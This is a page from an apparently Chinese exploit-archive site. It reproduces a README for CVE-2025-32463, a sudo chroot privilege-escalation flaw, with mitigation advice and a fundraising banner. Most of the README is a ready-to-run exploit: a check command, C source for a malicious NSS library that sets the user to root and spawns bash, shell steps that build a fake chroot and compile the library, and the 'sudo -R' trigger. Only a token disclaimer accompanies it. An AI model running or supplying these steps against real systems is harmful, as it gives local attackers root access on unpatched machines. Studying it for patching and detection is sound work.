目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2025-32463 PoC — Sudo 安全漏洞

来源
关联漏洞
标题: Sudo 安全漏洞 (CVE-2025-32463)
Description:Sudo是一款使用于类Unix系统的,允许用户通过安全的方式使用特殊的权限执行命令的程序。 Sudo 1.9.17p1之前版本存在安全漏洞,该漏洞源于使用用户控制目录中的/etc/nsswitch.conf可能导致获取root访问权限。
Description
A PoC exploit for CVE-2025-32463 - Sudo Privilege Escalation
介绍
# CVE-2025-32463 - Sudo Privilege Escalation

A privilege escalation vulnerability exists in `sudo` affecting Linux/Unix-based systems. The flaw arises due to **improper path validation** when `sudo` is used with the `-R` (`--chroot`) option, allowing attackers to escalate to root via malicious NSS library loading.

## **Root Cause**  
- When `sudo` executes a command inside a **chroot environment** (`-R` option), it mishandles **NSS (Name Service Switch) library loading** during error conditions.  
- Improper path validation (e.g., failing to sanitize `LD_LIBRARY_PATH` or paths in `/etc/nsswitch.conf`) may lead to loading a **malicious library** instead of the legitimate NSS library (e.g., `libnss_files.so`).  
- This results in **arbitrary code execution with root privileges**.

## **Impact**  
- Attackers with **local access** can exploit this to **gain root privileges**.  

## **Mitigation**  
1. **Update `sudo`** to the latest patched version.  
2. **Restrict `sudo` permissions** (limit `chroot` usage where possible).  
3. **Audit environment variables**:  
   - Restrict `LD_LIBRARY_PATH`.  
   - Secure `/etc/nsswitch.conf`.  
4. **Enforce `secure_path`** in `/etc/sudoers` to limit library search paths.  

## **Technical Details**  
| Component       | Vulnerability Trigger                     |  
|-----------------|------------------------------------------|  
| **`sudo -R`**   | Incorrect chroot path validation.        |  
| **NSS**         | Unsafe library loading during errors.    |  
| **Exploit**     | Path hijacking → Malicious library load. |  

## Vulnerability Overview

**CVE ID**: CVE-2025-32463  
**Affected Versions**: Sudo 1.9.14 through 1.9.17  
**CVSS Score**: 9.8 (Critical)  
**Impact**: Local privilege escalation to root  

### Attack Flow
1. Attacker creates malicious NSS library
2. Sets up fake chroot environment
3. Triggers sudo error condition
4. Sudo loads attacker-controlled library
5. Malicious code executes with root privileges

# Exploit Steps

## Step 1: Verify vulnerability
**If it responds with `No such file or directory` then its vulnerable:**
`sudo -R invalid invalid`
`sudo: invalid: No such file or directory`

## Step 2: Create Temporary Workspace

**First, we create a temporary directory to work in:**
`
TMP_DIR=$(mktemp -d -t sudobridge.XXXXXX)
cd $TMP_DIR
`
This creates a uniquely named temporary directory and navigates into it. The mktemp command ensures we don't interfere with existing system files.

## Step 3: Create Malicious Library

**We need to create a C file (bridge90.c) that will be compiled into a malicious library:**
```
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void bridge(void) {
  setreuid(0,0);  // Set real and effective user ID to root
  setregid(0,0);  // Set real and effective group ID to root
  chdir("/");     // Change to root directory
  execl("/bin/sh", "sh", "-c", "/bin/bash", NULL);  // Execute shell
}
```
**Key components:**

    __attribute__((constructor)) ensures the function runs when the library is loaded

    setreuid and setregid escalate privileges to root

    execl spawns a bash shell

## Step 4: Setup Exploit Environment
`
mkdir -p bridge/etc
echo "passwd: /bridge90" > bridge/etc/nsswitch.conf
cp /etc/group bridge/etc/
mkdir libnss_
gcc -shared -fPIC -Wl,-init,bridge -o libnss_/bridge90.so.2 bridge90.c
`
**Breakdown:**

    Create a fake chroot environment in bridge/etc

    Modify nsswitch.conf to point to our malicious path

    Copy the real /etc/group file to maintain legitimacy

    Create a directory for our malicious library

    Compile the C code into a shared library named to match NSS (Name Service Switch) conventions

## Step 5: Execute the Exploit

`sudo -R bridge bridge`

This command attempts to use our crafted environment:

    The first bridge is the chroot directory containing our malicious configuration

    The second bridge is the command to run (which will load our library)

## Step 6: Verify Privilege Escalation

**After successful exploitation, verify root access:**

`whoami`    # Should return "root"
`id -u`     # Should return "0" (root's UID)

#

```mermaid
graph LR
    A[Malicious Library] --> B[Fake Chroot]
    B --> C[Trigger Error]
    C --> D[Library Load]
    D --> E[Root Execution]
```

# Disclaimer

This PoC exploit is for educational purposes only! I'm not responsible for any misuse you might cause with this exploit!
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →